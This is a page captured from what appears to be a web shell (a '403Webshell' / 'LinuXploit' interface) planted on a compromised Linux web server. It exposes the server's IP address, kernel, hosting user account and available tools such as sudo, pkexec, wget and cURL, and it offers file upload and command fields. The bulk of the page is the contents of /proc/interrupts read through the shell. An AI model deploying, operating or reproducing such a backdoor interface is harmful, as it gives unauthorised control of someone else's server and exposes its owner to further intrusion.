403Webshell
Server IP : 103.57.220.144  /  Your IP : 216.73.217.172
Web Server : nginx/1.28.1
System : Linux cs-linux-20260128093600810 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : dulichdaohon ( 1183)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      
  1:          0          0          9          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   1-edge      i8042
  4:          0          0          0          0        722          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 10:          0          0          0          0          0          0          0          0          0          0          0          0     231186          0          0          0          0          0          0   IO-APIC  10-fasteoi   virtio4
 11:          0          0          0          0          0          0          0          0          0          0          0      37637          0          0          0          0          0          0          0   IO-APIC  11-fasteoi   virtio5
 12:          0          3          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  12-edge      i8042
 14:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 65536-edge      virtio2-config
 25:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 65537-edge      virtio2-control
 26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 65538-edge      virtio2-event
 27: 1225137011          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 65539-edge      virtio2-request
 28:          0 1512230367          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 65540-edge      virtio2-request
 29:          0          0 1539617217          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 65541-edge      virtio2-request
 30:          0          0          0 1532409296          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 65542-edge      virtio2-request
 31:          0          0          0          0 1524495506          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 65543-edge      virtio2-request
 32:          0          0          0          0          0 1494880759          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 65544-edge      virtio2-request
 33:          0          0          0          0          0          0 1474974982          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 65545-edge      virtio2-request
 34:          0          0          0          0          0          0          0 1453403444          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 65546-edge      virtio2-request
 35:          0          0          0          0          0          0          0          0 1427551138          0          0          0          0          0          0          0          0          0          0   PCI-MSI 65547-edge      virtio2-request
 36:          0          0          0          0          0          0          0          0          0 1414551722          0          0          0          0          0          0          0          0          0   PCI-MSI 65548-edge      virtio2-request
 37:          0          0          0          0          0          0          0          0          0          0 1398243799          0          0          0          0          0          0          0          0   PCI-MSI 65549-edge      virtio2-request
 38:          0          0          0          0          0          0          0          0          0          0          0 1385848306          0          0          0          0          0          0          0   PCI-MSI 65550-edge      virtio2-request
 39:          0          0          0          0          0          0          0          0          0          0          0          0 1367678542          0          0          0          0          0          0   PCI-MSI 65551-edge      virtio2-request
 40:          0          0          0          0          0          0          0          0          0          0          0          0          0 1438448615          0          0          0          0          0   PCI-MSI 65552-edge      virtio2-request
 41:          0          0          0          0          0          0          0          0          0          0          0          0          0          0 1358784895          0          0          0          0   PCI-MSI 65553-edge      virtio2-request
 42:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0 1347683736          0          0          0   PCI-MSI 65554-edge      virtio2-request
 43:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0 1332219728          0          0   PCI-MSI 65555-edge      virtio2-request
 44:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0 1335522295          0   PCI-MSI 65556-edge      virtio2-request
 45:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0 1324322998   PCI-MSI 65557-edge      virtio2-request
 46:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49152-edge      virtio1-config
 47:  110316506          0          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0          0          0   PCI-MSI 49153-edge      virtio1-input.0
 48:  115893655          0          0          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0          0   PCI-MSI 49154-edge      virtio1-output.0
 49:          0  106773879          0          0          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0   PCI-MSI 49155-edge      virtio1-input.1
 50:          0  113825972          0          0          0          0          0          0          0          0          0          0          0          0          1          0          0          0          0   PCI-MSI 49156-edge      virtio1-output.1
 51:          0          0  102593784          0          0          0          0          0          0          0          0          0          0          0          0          1          0          0          0   PCI-MSI 49157-edge      virtio1-input.2
 52:          0          0  110235107          0          0          0          0          0          0          0          0          0          0          0          0          0          1          0          0   PCI-MSI 49158-edge      virtio1-output.2
 53:          0          0          0   99280864          0          0          0          0          0          0          0          0          0          0          0          0          0          1          0   PCI-MSI 49159-edge      virtio1-input.3
 54:          0          0          0  107066150          0          0          0          0          0          0          0          0          0          0          0          0          0          0          1   PCI-MSI 49160-edge      virtio1-output.3
 55:          1          0          0          0   98473674          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49161-edge      virtio1-input.4
 56:          0          1          0          0  106544903          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49162-edge      virtio1-output.4
 57:          0          0          1          0          0   97957146          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49163-edge      virtio1-input.5
 58:          0          0          0          1          0  106229447          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49164-edge      virtio1-output.5
 59:          0          0          0          0          1          0   95554941          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49165-edge      virtio1-input.6
 60:          0          0          0          0          0          1  103420669          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49166-edge      virtio1-output.6
 61:          0          0          0          0          0          0          1   97620080          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49167-edge      virtio1-input.7
 62:          0          0          0          0          0          0          0  105402220          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49168-edge      virtio1-output.7
 63:          0          0          0          0          0          0          0          0   95864811          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49169-edge      virtio1-input.8
 64:          0          0          0          0          0          0          0          0  103774454          1          0          0          0          0          0          0          0          0          0   PCI-MSI 49170-edge      virtio1-output.8
 65:          0          0          0          0          0          0          0          0          0   97063966          1          0          0          0          0          0          0          0          0   PCI-MSI 49171-edge      virtio1-input.9
 66:          0          0          0          0          0          0          0          0          0  104268853          0          1          0          0          0          0          0          0          0   PCI-MSI 49172-edge      virtio1-output.9
 67:          0          0          0          0          0          0          0          0          0          0   94948050          0          1          0          0          0          0          0          0   PCI-MSI 49173-edge      virtio1-input.10
 68:          0          0          0          0          0          0          0          0          0          0  103047562          0          0          1          0          0          0          0          0   PCI-MSI 49174-edge      virtio1-output.10
 69:          0          0          0          0          0          0          0          0          0          0          0   95468500          0          0          1          0          0          0          0   PCI-MSI 49175-edge      virtio1-input.11
 70:          0          0          0          0          0          0          0          0          0          0          0  103310357          0          0          0          1          0          0          0   PCI-MSI 49176-edge      virtio1-output.11
 71:          0          0          0          0          0          0          0          0          0          0          0          0   96098739          0          0          0          1          0          0   PCI-MSI 49177-edge      virtio1-input.12
 72:          0          0          0          0          0          0          0          0          0          0          0          0  104131434          0          0          0          0          1          0   PCI-MSI 49178-edge      virtio1-output.12
 73:          0          0          0          0          0          0          0          0          0          0          0          0          0  200298274          0          0          0          0          1   PCI-MSI 49179-edge      virtio1-input.13
 74:          1          0          0          0          0          0          0          0          0          0          0          0          0  105084100          0          0          0          0          0   PCI-MSI 49180-edge      virtio1-output.13
 75:          0          1          0          0          0          0          0          0          0          0          0          0          0          0   94997485          0          0          0          0   PCI-MSI 49181-edge      virtio1-input.14
 76:          0          0          1          0          0          0          0          0          0          0          0          0          0          0  103026970          0          0          0          0   PCI-MSI 49182-edge      virtio1-output.14
 77:          0          0          0          1          0          0          0          0          0          0          0          0          0          0          0   95852252          0          0          0   PCI-MSI 49183-edge      virtio1-input.15
 78:          0          0          0          0          1          0          0          0          0          0          0          0          0          0          0  104163876          0          0          0   PCI-MSI 49184-edge      virtio1-output.15
 79:          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0          0   95510233          0          0   PCI-MSI 49185-edge      virtio1-input.16
 80:          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0  103719197          0          0   PCI-MSI 49186-edge      virtio1-output.16
 81:          0          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0          0   94091332          0   PCI-MSI 49187-edge      virtio1-input.17
 82:          0          0          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0  102146485          0   PCI-MSI 49188-edge      virtio1-output.17
 83:          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0          0          0          0   94967795   PCI-MSI 49189-edge      virtio1-input.18
 84:          0          0          0          0          0          0          0          0          0          0          1          0          0          0          0          0          0          0  103079780   PCI-MSI 49190-edge      virtio1-output.18
 85:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 81920-edge      virtio3-config
 86:          0          0          0          0          0          0          0          0          0          0          0          0          0          0         76          0          0          0          0   PCI-MSI 81921-edge      virtio3-virtqueues
NMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:  564400568  623024336  629420074  626166903  623589180  619420531  611892485  608709256  602473294  601203213  594695082  593152919  591572953  710348875  585572700  584147009  583866793  578108332  577710662   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:          7        517          2          0          0          1          0          0          1          4          2          3        514          2          1          5          3          0          0   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:    5361111    5412633    5437482    5473993    5482284    5500434    5437638    5484864    5499914    5537777    5466647    5541685    5508696    5264227    5489012    5498793    5492654    5489090    5516316   Rescheduling interrupts
CAL:  524622939  495158195  480063358  469915675  462936575  455118741  450793715  445103199  442232037  440296235  434050798  432624081  431443898  445402271  430819634  427758507  424629781  423490913  424746487   Function call interrupts
TLB:   34183294   39735475   40767853   40336341   40234113   39806633   39656366   38985185   38414328   38605320   37700696   38004944   37123815   38895758   37127099   36795410   36573134   36517143   36111313   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Youez - 2016 - github.com/yon3zu
LinuXploit